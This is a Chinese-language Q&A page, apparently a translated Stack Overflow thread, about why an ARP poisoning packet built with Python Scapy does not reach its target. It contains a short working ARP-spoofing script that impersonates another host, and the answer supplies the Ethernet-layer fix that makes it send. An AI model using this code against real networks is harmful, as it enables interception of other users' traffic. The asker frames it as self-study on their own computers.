使用Python 3 Scapy发送的Arp数据包未到达目的地

时间:2016-08-30 13:39:49

标签: python-3.x scapy arp

我正在尝试使用python3版本的scapy在我的其他计算机上进行简单的arp缓存中毒以进行学习。我正在使用的代码如下:

from scapy.all import *

arp = ARP()
arp.op = 2
arp.psrc = '192.168.0.15' #computer I want to impersonate
arp.pdst = '192.168.0.5' #computer I want to send arp packet too
arp.hwsrc = 'ac:bc:32:c6:49:20' #my mac
arp.hwdst = 'ac:bc:32:c6:12:90' #mac of computer I want to poison

sendp(arp,iface = 'en0')

运行此程序时,我得到以下输出:

WARNING: Could not load module netifaces: No module named 'netifaces'
.
Sent 1 packets.

我没有用sudo运行这个程序,我确信en0是正确的接口。但是,当我在ip = 192.168.0.5 的计算机上运行tshark时,我发送的arp数据包不会出现。有人可以告诉我我犯了什么错误导致数据包无法到达目标机器。

1 个答案:

答案 0 :(得分:0)

我认为你还需要定义以太层。您可以尝试将arp = ARP()更改为arp = Ether(dst='ff:ff:ff:ff:ff:ff')/ARP()吗?将dst设置为:ff:ff:ff:ff:ff表示广播意味着它将被发送到所有主机。